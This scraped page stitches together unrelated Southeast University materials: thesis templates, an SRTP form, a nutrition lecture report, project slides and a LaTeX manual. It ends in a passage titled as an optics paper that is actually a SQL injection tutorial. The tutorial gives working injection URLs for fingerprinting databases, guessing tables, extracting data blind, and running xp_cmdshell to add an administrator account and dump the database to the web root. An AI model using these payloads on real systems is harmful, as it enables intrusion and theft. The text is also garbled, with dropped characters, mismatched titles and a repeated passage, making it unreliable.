东南大学srtp论文模板
东南大学硕士学位论文模板v1.1
[1]高景德，王祥珩．交流电机的多回路理论[J]．清华大学学报，1987，27(1)：1-8
[2]Chen S，Billing S A，Cowan C F，et al．Practical identification of MARMAX models．Int J Control，1990，52(6)：1327-1350
二.1章节标题
二.1.1章节标题的样式
本模板中使用的章节标题样式见Word“开始”→“样式”栏，如图2-1所示，不过只设置到了四级标题（一般应该够用了吧）。样式中已包含章节标题的自动编号（如第二章、1.3、2.1.1等），使用时直接输入标题内容，然后应用相应样式即可。
图2-1本模板中使用的样式
【注意】
一.2国内外研究现状
一.3论文研究பைடு நூலகம்容及意义
一.4论文组织结构
本文共分为7章，各章的主要内容具体如下：
第一章为绪论，……
第二章……
第三章……
第四章……
第五章……
第六章……
第七章为总结与展望。
第二章
本模板的说明是以Word 2010为例，不过使用方法在更早或更新版本的Word上应该是基本相同的。若个别地方有问题，请见谅。
图5-1参考文献的交叉引用
另外，参考文献的引用如果作为正文的内容，则不用上标形式，如：
文献[1]中提出，……（此处文献引用不用上标形式）
否则，使用上标形式，如：
Chen S提出了一种xxx方法[2]（此处文献引用使用上标形式）
五.3本章小结
第六章
六.1记得更新域
每次章节、图表编号等发生变化后，都要记得更新域，方法为：Ctrl+A全选论文，右键菜单中选择“更新域”即可。若弹出“目录更新”对话框，选择“更新整个目录”。
东南大学校级SRTP申请书样本
汤斌 ,您好!
[退出 , 修改信息]
东南大学大学生科研训练计划(SRTP) 立项申报表
姓名： 学号：
孙晓光
17212119
教师不填！
院系： 外国语学院 外国语学院 专业： 电子信箱： 联系电话： 项目名称： 项目简介： （研究目的、 内容、预期结 果等，要 求300-500文 字阐 述） 简介不能为空! 项目技术路 线： 路线不能为空 项目来源： 学生兴趣 学科类别： 文科类 文科类 科研 教学 管理
项目名称不能为空
项目
技术 生产 其他
项目类别： 文字作品类（计划、报告、文章等） 文字作品类（计划、报告、文章等） 预期成果形 硬件 设计 论文 软件 式： 他 特色与创新体 现：
报告
专利
课件Leabharlann 模型其特色 创新体现不能为空!
确定
14172004
https:///srtp/department/,DanaInfo=10.1.30.97+sec_reqDetail.aspx?id=29249&reurl=sec_shenbaohuizong.aspx[2014-11-11 20:00:39]
东南大学srtp论文模板
Southeast University光学课程论文论文题目：浅析iPhone6屏幕的宣传卖点学生院系：物理****：**学生学号： ********Southeast University浅析iPhone6屏幕的宣传卖点摘要关键词：双域像素Dual-domain pixels;光取向技术Phote aligment;Retina HD;目录引言 (3)1 SQL注入过程 (3)1.1判断是否可以攻击 (3)1.1.1输入为数字时： (3)1.1.2输入为字符串时： (4)1.2判断数据库类型 (4)1.2.1对于IIS未关闭的 (4)1.2.2对于IIS不返回错误信息的 (4)1.3判断数据类型 (5)1.4猜测表名 (5)1.5猜测列名 (5)1.6得到数据 (5)1.7直接获得用户名及密码 (6)2.SQL注入防范 (6)2.1客户端 (6)2.2加密 (7)2.3 IIS的限制 (7)2.4 IIS权限的分配 (7)Southeast University 结语 (7)[参考文献] (7)引言计算机的发展越来越快，可是随之而来的却是一系列安全问题，这些安全问题直接威胁到了用户的私人信息，诸如账号，密码，住址等，他们利用用户的好奇心，欺骗用户或者在用户毫不知情的情况下，入侵PC，盗取资料，对用户构成一定威胁，危害不仅局限于此，譬如在08年时一场大规模的SQL注入席卷了全球，他们堆积选择ip，将目标锁定到不同网站，其中包括一些受信任的网站，用户点击网站之后会受到感之后成为病原体。
现在由于程序员的水平参差不齐，在编写程序的时候有时会很少考虑到安全方面的因素，及缺少用户输入安全性的判断，这样就导致不法分子有机可乘，他们根据不同的输入，分析返回结果，得到数据库服务器的相关信息，最后可以为所欲为。
1 SQL注入过程1.1判断是否可以攻击首先我们要将ie浏览器的Internet=>高级=>显示好友http信息去掉，这样我们就可以得到不同的错误，位置后的判断打下基础。
东南大学毕业论文格式精品
东南大学毕业论文格式精品各位同学，大家好：现将东大正规论文（毕业论文）的基本格式要求发给大家，可在实习报告和论文撰写中学习和参照。
一些要求实习报告可以不参照（已经在下面用蓝色字体标注）。
希望各位同学能通过本学期实习学到更多的知识和能力！也祝大家过好每一天，充实每一天！有需要交流的可以在popo上留言，在网上时可以交流。
popo号及Email:bao83795384@报告（论文）的格式规定实习报告是学生在老师指导下对实习内容的系统和总结。
为了统一写作标准，保证报告的规范性要求，训练报告（论文）撰写水平，特制定本规定如下：一、报告（论文）的一般格式和顺序报告（论文）应包括（1）中文封面；（2）目录；（3）正文；（4）参考文献（如果有）等4大要素并按此顺序排列。
文字采用中文简体；（一）报告（论文）题目报告（论文）题目是报告全貌的集中体现，题目应力求简单，也不应宽泛笼统，必要时可加副题名。
副题名可另起一行，用破折号与主题名隔开。
题名中应避免使用非公知公用的缩略语、字符、代号以及结构式和公式。
（二）论文摘要(提要) （实习报告不要求）论文摘要包括题名、姓名、导师姓名、学校名称、正文、关键词。
中文约300字左右，英文约100~200词左右，二者应基本对应。
它是论文内容的高度概括，应说明研究目的、研究方法、成果和结论，要突出本论文的创造性成果或新的见解、用语简洁、准确，并在论文摘要后注明本文的关键词3至8个。
关键词应为公知公用的词和学术术语，不可采用自造字词和略写、符号等，词组不宜过长。
英文摘要采用第三人称单数语气介绍该学位论文内容，目的是便于其他文摘摘录，因此在写作英文文摘时不宜用第一人称的语气陈述。
叙述的基本时态为一般现在时，确实需要强调过去的事情或者已经完成的行为才使用过去时、完成时等其他时态。
可以多采用被动语态，但要避免出现用“This paper”作为主语代替作者完成某些研究行为。
中国姓名译为英文时用汉语拼音，按照姓前名后的原则，姓、名均用全名，不宜用缩写。
东南大学srtp讲座--营养与学习记忆的关系--论文
SRTP讲座聆听报告-------营养与学习记忆的关系姓名：学号：一卡通号：院系：日期：2014年10月14日星期二一、营养与学习记忆功能.................................................................................................. - 2 -1组成大脑的主要化学成分............................................................................................... - 2 - 2记忆与脑中神经组织的关联........................................................................................... - 2 - 3大脑所需营养物质与记忆之间的关系........................................................................... - 2 - 1）碳水化合物............................................................................................................ - 2 -2）脂类........................................................................................................................ - 3 -3）蛋白质和氨基酸.................................................................................................... - 3 -4）维生素.................................................................................................................... - 3 -5）矿物质.................................................................................................................... - 4 -二、大学生的营养状况...................................................................................................... - 4 -三、合理饮食搭配.............................................................................................................. - 4 -1食物多样，谷类为主，粗细搭配................................................................................... - 4 - 2多吃蔬菜水果和薯类....................................................................................................... - 5 - 3每天吃奶类、大豆或其制品........................................................................................... - 5 - 4吃适量的鱼、禽、蛋和瘦肉........................................................................................... - 5 - 5减少烹调油，吃清淡少盐膳食....................................................................................... - 5 - 6保持健康体重，学会计算体质指数............................................................................... - 5 - 7三餐分配要合理，零食要适当....................................................................................... - 5 - 8饥而后食，未渴先饮....................................................................................................... - 5 - 9如饮酒应限量................................................................................................................... - 5 - 10吃新鲜卫生的食物......................................................................................................... - 5 - 四、科学合理安排三餐...................................................................................................... - 6 -早餐...................................................................................................................................... - 6 - 午餐...................................................................................................................................... - 6 - 晚餐...................................................................................................................................... - 7 - 五、总结.............................................................................................................................. - 7 -营养与学习记忆的关系内容摘要：营养的饮食不仅仅对身体健康有益而且会在很大程度上有助于我们的记忆力提升。
东南大学基于教师的SRTP项目申报答辩
基吸附剂燃煤烟气脱汞协同脱硫脱硝的吸附-传质-反应的动力学模型；利用热 重分析仪、升温解吸脱附（TPCC）、XRD和XPS等分析吸附剂上生成产物的组 成及吸附前后吸附剂的元素和组成变化，结合实验结果和数据，揭示等离子改 性的复合钙基吸附剂吸附脱汞协同脱硫脱硝的吸附历程和化学反应机理。
质量流量计 数据采集 活性炭吸附 VM3000汞分析仪 活性炭吸附
N2
混合预热室 固定床反应器
T
T
活性炭吸附
质量流量计
Hg0 、 SO2 和 NO 脱除率，利用 XPS 和 TPDD 等技术 对吸附产物进行分析。
研究吸附温度、 Hg0/SO2/NO 初始浓度、气体 中其他组分 O2/H2O/CO2 等对等离子改性钙基吸附 剂脱除 Hg/SO2/NO 单一组分和联合脱除的影响规 律。结合吸附平衡理论，动力学分析及吸附产物等， 探究低温等离子改性钙基吸附剂脱硫的作用机制。
能源热转换及其过程测控教育部重点实验室
东南大学 能源与环境学院 SRTP项目申报答辩
创新点
1) 借助干法脱硫的特点，提出一种替代高成本活性炭的高效低廉脱
汞协同脱硫脱硝的钙 /焦基复合吸附剂，实现烟气多污染物联合 干法脱除目的；
2) 利用低温等离子技术对吸附表面改性和强化作用机制，在吸附剂
表面引入对汞具有氧化性的含氧官能团，克服了钙基吸附剂单独 作用对气相中Hg0吸附能力差的缺点；
加热器 汞蒸气发生器
N2
温控箱
图6 固定床实验系统
能源热转换及其过程测控教育部重点实验室
东南大学 能源与环境学院 SRTP项目申报答辩
研究内容及方法-4
◇改性钙剂吸附剂脱汞协同脱硫脱硝的机理及模型研究
【srtp基本论文格式】 srtp
《【srtp基本论文格式】 srtp》摘要：科研训练，结合学生科技活动实际和发展趋势该校制定了《山东学威海分校学生科研立项实施细则》、《山东学威海分校学生科研作品立项专项费管理办法(试行)》、《学生申请立项有关规定》等制，总系列制制定使学生科研作品立项活动开展从组织发动、申请立项到总结表彰等方方面面、前前都有可循、有法可依从而避免学生科研作品立项活动随性保障了学生科技活动连续稳定运行r单播和多播应用程序实传输协议数据提供加密、消息认证、完整性保证和重放保护,它论格式是怎么样呢?下面是编精心推荐些r基论格式希望你能有所感触!r基论格式、题目应简洁、明确、有概括性数不宜超0、摘要要有高概括力语言精练、明确摘要约0000;3、关键词从论标题或正挑选3～5能表达主要容词作关键词、目录写出目录标明页码5、正论正数般应3000以上论正包括前言、论、结论三部分前言(引言)是论开头部分主要说明论写作目、现实义、对所研究问题认识并提出论心论等前言要写得简明扼要幅不要太长论是论主体包括研究容与方法、实验材、实验结与分析(讨论)等部分要运用各方面研究方法和实验结分析问题论证观尽量反映出己科研能力和学术水平结论是论收尾部分是围绕论所作结束语其基要就是总结全加深题6、谢辞简述己通做论体会并应对指导教师和协助完成论有关人员表示谢7、参考献论末尾要列出论参考专著、论及其他所列参考献应按参考或引证先顺序排列8、释论写作程有些问题要正外加以阐述和说明9、附录对些不宜放正但有参考价值容可编入附录关r论学生R实施探与实践摘要高校科生科技创新识、科研能力培养以及科技创新体系构建是高等学校实施素质教育重要组成部分学生科研训练计划作培养高校学生创新识与创新能力直接体和平台已成国外普遍认种人才培养方式以山东学威海分校例对学生科研训练计划开展与实施作了初步探与实践关键词 R 山东学威海分校科研作品立项科研训练学生科研训练计划( Rr rg rgr简称R)是专校科生设计种科研项目助计划不国和学校里称谓不实施方式也略有差异例如美国麻省理工学院()称科生研究机会计划( rgr Rr r rgr简称R)清华学称学生科研训练( Rr rg简称R)山东学威海分校称学生科研作品立项总体看R采取项目化运作模式通设立创新基金和科生主申报方式确定立项并给予以金支持鼓励学生导师指导下独立完成项目研究R核心是支持科生开展科研训练学生参与R程质上是进行研究性学习所以它重学生参与研究学习程而非期望科生创造出多少原创性成目前R已成国外普遍认种人才培养方式、学生科研训练计划产生、发展与现状957年埃德温țț兰德美国麻省理工学院()主讲次重要讲座提出学生应被教授视年轻事并给予他们从事独立、有激励性科研机会这样才能更地激发学生成伟人物潜力几年埃德温țț兰德专门设立了项托管基金供使用969年责科教学院长玛格丽特动用这笔金美国高校推出学生研究机会计划这是项以研究基础科生作教师初级事参与研究工作计划这举措全世界高校实施学生科研训练计划、促进科生科研训练开创了先河R首先美国学尤其是研究型学得到了普遍认可与广泛实施我国清华学、浙江学分别996年、998年学习做法开始实施R近几年科生科研训练发展我国已成种趋势越越多院校加入这行列目前浙江学、清华学、山东学、山东学威海分校等几十所高校纷纷启动了学生科研训练计划其清华学996年春首批立项实施以已累计立项00多项参加学生累计达到9300多名现0%左右清华学生学四年期将有机会参加次R随着社会发展和教育观念改变科生科研训练日益得到国重视006年月我国教育部设立了国学生创新训练计划对清华学、浙江学、山东学(山东学威海分校每年也从山总校分配有相应名额)等十所试高校学生科研训练项目给予费助每校30万元左右每项5000元至万元教育部还将每年评选出0至0创新训练效显著优秀项目并给予奖励R广学生提供了全新实践机会成千上万学生正通参与R探着科学世界体验着发现问题和问题快乐并这程迅速成长二、学生科研作品立项平台体系构建与实践营造科研创新氛围高校应积极组织学生开展课外科技化活动并进步健全科研活动机制使科研活动常规化、体制化各学院建立和健全基层学生科技化活动机制以科协依托以讲座、论坛先导开展科普教育主办科研刊物全面营造学术氛围以山东学威海分校例该校全校科生全面深入实施学生科研作品立项普及工程努力拓展学生知识结构提高学生竞争力依托学院发挥学院学科特专业学术力量支持下充分利用相关软、硬件条件凸显学科优势和特色形成学生科研创新扎实和广基础完善组织管理机构R是共青团央倡导教育部责开展起是高校共青团组织通二课堂引导青年学生走成才路重要渠道但是高校学生科研作品立项活动是涉及学校教学、科研及管理工作项重活动仅仅依靠共青团组织力量是难以达到预期效因必须建立适合高校学生科研作品立项活动顺利开展组织领导体制高校学生科研作品立项活动领导体制建立其核心是理顺和明确学校有关主要部门学生科研作品立项活动作用明确其职责以调动全校力量促进科技创新活动开展以山东学威海分校例学校成立了以校长领导下教处、科研处、团委等有关主要部门参加活动领导组责学生科研作品立项活动方向政策、制及协调工作科研处侧重学生科技活动指导包括课题立项、成鉴定等;教处侧重教师教学工作量计算及教师积极性调动;共青团侧重学生科技创新活动发动和日常管理共青团组织指导下学生当建立群众性科技社团3构建规制体系制是高校学生科研作品立项活动机制保证高校应加强制建设保障学生科技活动连续、稳定运行开展高校学生科研作品立项活动必须重政策导向和规作用以山东学威海分校例该校已制定出台了系列保障学生科技活动有关规定、条例规对促进学生科技活动开展起到了积极作用结合学生科技活动实际和发展趋势该校制定了《山东学威海分校学生科研立项实施细则》、《山东学威海分校学生科研作品立项专项费管理办法(试行)》、《学生申请立项有关规定》等制总系列制制定使学生科研作品立项活动开展从组织发动、申请立项到总结表彰等方方面面、前前都有可循、有法可依从而避免学生科研作品立项活动随性保障了学生科技活动连续稳定运行外该校还出台了《山东学威海分校学生奖励条例》、《山东学威海分校教学成奖励实施办法》、《山东学威海分校学生科技创新学分管理办法(试行)》从政策上激励教师和学生积极参与到学生科研立项活动创造科研硬件配套设施条件高校应加实验设施投入力学生科学研究实践提供优良条件山东学威海分校始终坚持以教学心以科研先导以素质拓展核心高重视研究所和实验室建设该校按照集、优化配置、推进改革方针先成立了3研究所和研究心等研究机构并投入了量金相关院系建有学科教学使用实验室培养学生科研设计能力、动手能力、实验能力、科技创新能力创造了良条件5加强科研指导队伍建设山东学威海分我校要每科研立项项目必须由到两名学术水平较高治学严谨具有讲师以上职称教师担任项目指导教师(包括校外指导教师)指导教师须助学生申报项目并制订工作计划日程表;每周保证适当指导对学生参与科研立项活动实验、研究、论撰写等环节进行具体指导;对学生进行科研训练重对学生综合科研能力培养;学生开展科研活动提供力所能及科研条件;根据学生工作态、工作量、所掌握科研能力及完成结等方面对学生科研立项作品给出鉴定见;学生课题组从选题、课题设计、献检、实验方法、调和整理等各种基方法入手到课题研究结束责到底6严格考核评比充分调动各方面工作积极性和主动性严格考核评比应贯穿整学生科研作品立项活动如山东学威海分校规定各项目应规定限向学生科技创新心递交期报表视其进展和实际情况继续追加费;对不递交期报表或无明显进展项目将终止费助项目取得阶段性进展或项目完成项目责人应定围组织次报告会交流和汇报研究成高校对优秀学生科研立项作品予以奖励(包括对指导教师及组织单位)并推荐申报省学生科研成奖对有实用价值成助申请专利和组织推广对获得立项批准项目样鼓励学生继续进行研究这些措施实施保证了各方面工作积极性和主动性三、山东学威海分校实施学生科研作品立项显著成效R作培养学生科研创新能力、发展探性学习、提高整体培养质量项新举措山东学威海分校取得了良成绩学生参与科研作品立项广成效山东学威海分校二届学生科研作品立项收到了院(系)357件作品立项率97%其类(然科学)作品07件B类(人社科)作品0件次学生科研作品立项共支出专项费90000元学生科研作品立项参与教师00多人次;院(系)级领导30多名;学校专评审委30多人次;还包括各院(系)学术委员会、团总支记以及学生科技创新心处各位辅导员教师山东学威海分校次参与学生科研作品立项学生人数共有350人左右以山东学威海分校3万科生计算参与率936%按照学四年计算约有37%学生参与科研作品立项学生参与科研作品立项深成效以山东学威海分校十届挑战杯比赛成绩例十届挑战杯山东省学生课外学术科技作品竞赛国级三等奖件省级等奖件省级二等奖3件省级三等奖件另有名学生获得五届国青少年科技创新奖3学生参与科研作品立项横向成效实践证明开展R是改革研究型学科生教学模式重要举措是培养和提高学生科研创新能力有效形式和重要途径进步拓展和整合课外科研实践环节不仅使学生尽早进入了专业科研领域接触和了学科前沿和发展动态而且有利因材施教充分利用学科综合交叉优势以及教学和人才优势培养复合型人才;既培养了学生理论系实际创新精神、实践动手能力和独立工作能力又加强了师生团队合作精神、语言表达和交流沟通能力而且营造学高品位校化打下了坚实基础四、对如何进步拓展完善学生科研作品立项思考学生科研作品立项活动成功可持续性地开展并非简单程还必须重开展以下几方面工作进步增加学校各相关部门重视程增强学生认识程;更加完善相应奖励机制和评价机制;进步提高科研作品立项费投入;加教师指导力加强学生科研作品立项活动培养既可提高学生培养质量又可促进学校长远发展世纪学校、社会和国发展打下坚实基础因高校和国必须定程上实现科研识和创新能力培养体系化和制化充分调动学生参与科研积极性激发学生创新识提高科学生创新能力培养全面发展、适合社会要人才这样不仅能够带动社会可持续发展更地落实科学发展观而且能够增强国全球化格局竞争能力实现华民族伟复兴看了r基论格式人还看标准毕业论基格式要05年毕业论格式体要【标准】3学术论写作标准格式要学术论标准格式规5论格式要基构成要素有哪些?。
东南大学毕业设计论文模板使用说明
第一章 简介 · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · 1 1.1 版权声明 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 1.2 版本历史 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
This paper is SEUThesis user manual and also the sample document, it is better to be read before using SEUThesis . Keywords: LATEX template, thesis of Southeast Universiy
学校代码: 10286 分 类 号: 000 密 级: 公开
U D C: 000 学 号: 050962
SEU Thesis 宏包（2.0.0 版） ——东南大学学位论文 LATEX 模板
研究生姓名： 导 师 姓 名：
许元 导师姓名 教授 副导师 副教授
申请学位类别 一级学科名称 二级学科名称 答辩委员会主席
第三章 使用说明 · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · 5 3.1 例子 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 3.2 选项 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 3.2.1 学位选项 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 3.2.2 打印相关选项 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 3.3 封面 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 3.3.1 分类号 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 3.3.2 UDC 类号 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 3.3.3 论文保密等级 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 3.3.4 学号 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 3.3.5 论文标题 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 3.3.6 作者 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 3.3.7 导师 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 3.3.8 院系和专业 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 3.3.9 申请学位类别 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 3.3.10 日期 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 3.3.11 答辩委员会主席 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 3.3.12 评阅人 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 3.3.13 学位授予单位 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 3.3.14 设计地点 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 3.4 摘要和关键词 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
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Southeast University光学课程论文论文题目：浅析iPhone6屏幕的宣传卖点学生院系：物理****：**学生学号： ********Southeast University浅析iPhone6屏幕的宣传卖点摘要关键词：双域像素Dual-domain pixels;光取向技术Phote aligment;Retina HD;目录引言 (3)1 SQL注入过程 (3)1.1判断是否可以攻击 (3)1.1.1输入为数字时： (3)1.1.2输入为字符串时： (4)1.2判断数据库类型 (4)1.2.1对于IIS未关闭的 (4)1.2.2对于IIS不返回错误信息的 (4)1.3判断数据类型 (5)1.4猜测表名 (5)1.5猜测列名 (5)1.6得到数据 (5)1.7直接获得用户名及密码 (6)2.SQL注入防范 (6)2.1客户端 (6)2.2加密 (7)2.3 IIS的限制 (7)2.4 IIS权限的分配 (7)Southeast University 结语 (7)[参考文献] (7)引言计算机的发展越来越快，可是随之而来的却是一系列安全问题，这些安全问题直接威胁到了用户的私人信息，诸如账号，密码，住址等，他们利用用户的好奇心，欺骗用户或者在用户毫不知情的情况下，入侵PC，盗取资料，对用户构成一定威胁，危害不仅局限于此，譬如在08年时一场大规模的SQL注入席卷了全球，他们堆积选择ip，将目标锁定到不同网站，其中包括一些受信任的网站，用户点击网站之后会受到感之后成为病原体。
现在由于程序员的水平参差不齐，在编写程序的时候有时会很少考虑到安全方面的因素，及缺少用户输入安全性的判断，这样就导致不法分子有机可乘，他们根据不同的输入，分析返回结果，得到数据库服务器的相关信息，最后可以为所欲为。
1 SQL注入过程1.1判断是否可以攻击首先我们要将ie浏览器的Internet=>高级=>显示好友http信息去掉，这样我们就可以得到不同的错误，位置后的判断打下基础。
比如说形如一个http://example/mainView/show.asp?ID=123这是一个正常的网站，在这个网站中数据库服务器通常通过select * from tableName where ID=123来将结果集返回给客户端，这本来是没有什么问题的，可是这里却存在极大的安全隐患，比如说我们可以在后面添加一些代码，可以这样测试1.1.1输入为数字时：通过经典的1,2测试法，我们可以这样做不添加任何内容http://example/mainView/show.asp?ID=123;不报错添加and 1=1这样就变成了http://example/mainView/show.asp?ID=123 and1=1;不报错Southeast University 添加and 1=2 这样就变成了http://example/mainView/show.asp?ID=123 and 1=2;报错1.1.2输入为字符串时：末尾添加一个‘，这样就变成了http://example/mainView/show.asp?ID=123’;报错添加‘and ’1‘=‘1这样就变成了http://example/mainView/show.asp?ID=123 ’and‘1'='1'；不报错添加‘and ’1‘=‘2这样就变成了http://example/mainView/show.asp?ID=123 ’and‘1'='2'；报错当这两个条件均满足时，我们可以知道show.asp不存在安全检测机制，因此可以得到我们show.asp 是存在漏洞的。
判断出这部分内容是可以实行sql注入时，我们可以进行下属步骤1.2判断数据库类型在和asp搭配的网站中，大多数采用的是access和sqlserver两种数据库，故这里我们不讨论mysql 这种类型的。
1.2.1对于IIS未关闭的我们可以根据系统变量来判断，对于sqlserver数据库，其中存在一些系统变量，比如说user，利用这点，可以执行以下语句http://example/mainView/show.asp?ID=123 and user>0;我们需要解释以下，user存储的是当前连接的用户名，类型为nvarchar的，结果可想而知，我们将两个同类型的进行比较，那么系统首先会将nvarchar 的值转换为int，转换不成功，抛出错误，之后我们分析得到的错误信息：将userName(用户名)转换为int失败，这样，我们不仅判断出了这是sqlserver数据库，同时知道了用户名为userName。
对于ACCESS数据库，我们只需要简单的在最后添加一个‘即可http://example/mainView/show.asp?ID=123‘如果返回Microsoft JET Database Engine 错误 '80040e14'，说明存在字符串语法错误，从中我们看出在show.asp 行8存在错误，从这个错误我们可以看出这个网站采用的是ACCESS数据库1.2.2对于IIS不返回错误信息的我们可以根据系统表来判断：Sqlserve的系统表为sysobjects，access的系统表为msysobjects 所以我们这样判断http://example/mainView/show.asp?ID=123 and (select count(*) from sysobjects)>0Southeast University http://example/mainView/show.asp?ID=123 and (select count(*) from mysobjects)>0由于access数据库在web环境下访问msysobjects是没有权限的。
因此不论是哪一种情况，总是会返回错误信息，所以如果页面访问正常，那么可以判断是Sqlserver数据库，如果不正常，有错误信息，则为access数据库。
1.3判断数据类型在前面已经介绍过了数字和字符串类型的，还有一种类型是关键字类型的即keyword它的查询语句大概是这个样子的：Select * from tableName where keyword like ‘%关键字%‘；所以我们可以注入keyword=‘ and whatYouWant and ‘%’=’，这样SQL语句就变成了Select * from 表名 where字段like ‘%’ and whatYouWant and ‘%’=’%’；其中whatYouWant就是你想要得到的东西，好了，三种格式的数据类型判断完成后，接下来我们猜测表名1.4猜测表名方法大致如下：http://example/mainView/show.asp?ID=123 and (select count(*)from 猜测的表名)>0如果返回的页面没有变化，说明存在这个猜测的表名，如果返回错误信息，则不存在这个表名，反复重复这个过程，我们得到相应的表名，很是繁琐的过程，可是我们可以根据相关信息来猜测，比如说图书管理系统，我们会猜测book，borrower等名称1.5猜测列名方法大致如下：http://example/mainView/show.asp?ID=123 and (select count(猜测的列) from 得到的表名)>0，反复这个过程，得到列名1.6得到数据假设我们已经得到了表名和列名，得到数据的思路如下，先得到top 1的长度，之后判断每一位的ASCII，具体实现如下：判断长度：http://example/mainView/show.asp?ID=123 and (select top 1 len(列名) from 表名)>n;Southeast University 将n换成不同的数字，根据返回的不同值，可以得到此列第一个值长度，比如说>4正确，>5错误，那么这个长度就是为5，之后我们要得到每个字符对应的是什么http://example/mainView/show.asp?ID=123 and (select top 1 ascii(sbustring(列名，m,1)))>Asn，的m为第几个字符，它是小于等于我们刚才得到的n的，Asn为ascii的值，由于数字和字母在1~128之间，例如http://example/mainView/show.asp?ID=123 and (select top 1 ascii(sbustring(列名，2，1)))=39;我们可以得到第二个字符是9因此通过这个方法，我们可以得到每一个字符的ascII，从而得到数据，这个工作大量重复且繁琐，自己做，算了吧，写一个小程序。
很快就搞定了。
1.7直接获得用户名及密码这样做只是一些基本的方法，对于真正比较牛的黑客，会使用另外一下方法。
主要是针对SQLserver数据库的，由于SQLserver和操作系统有紧密联系，如果当期的连接具有sa权限，且 xp_cmdshell（将命令字符串作为操作系统命令 shell 执行，并以文本行的形式返回所有输出）正确执行（虽然在sqlserver2005中默认是关闭的），那么我们就很容易控制PC，操作步骤如下：http://example/mainView/show.asp?ID=123；exec master..xp_cmdshell “net user namepassword/add”--可以直接增加操作系统帐户name密码为passwordhttp://example/mainView/show.asp?ID=123；exec master..xp_cmdshell“net localgroup name administrators /add”-- 把刚刚增加的帐户user加到administrators组中。
http://example/mainView/show.asp?ID=123；backuup database 数据库名to disk='c:\inetpub\wwwroot\save.db' 则把得到的数据内容全部备份到WEB目录下，再用HTTP把此文件下载数一般来说，WEB虚拟目录是：c:\inetpub\wwwroot;2.SQL注入防范通过上述论述，我们了解了sql注入的过程，针对过程，我们发现，主要可以从以下几点进行防范2.1客户端在构造动态sql语句中，我们要检测用户输入的合法性，这对于我们来说是很重要的，因为往往我们只顾及了完成编码工作而忽略了安全问题，这样，对于经验老道的程序员，很快就可以看出其中的漏洞，Southeast University 因此在检查用户输入时，如果遇到select exec xp_cmdshell时，应该立即停止asp，并将页面至于出错状态。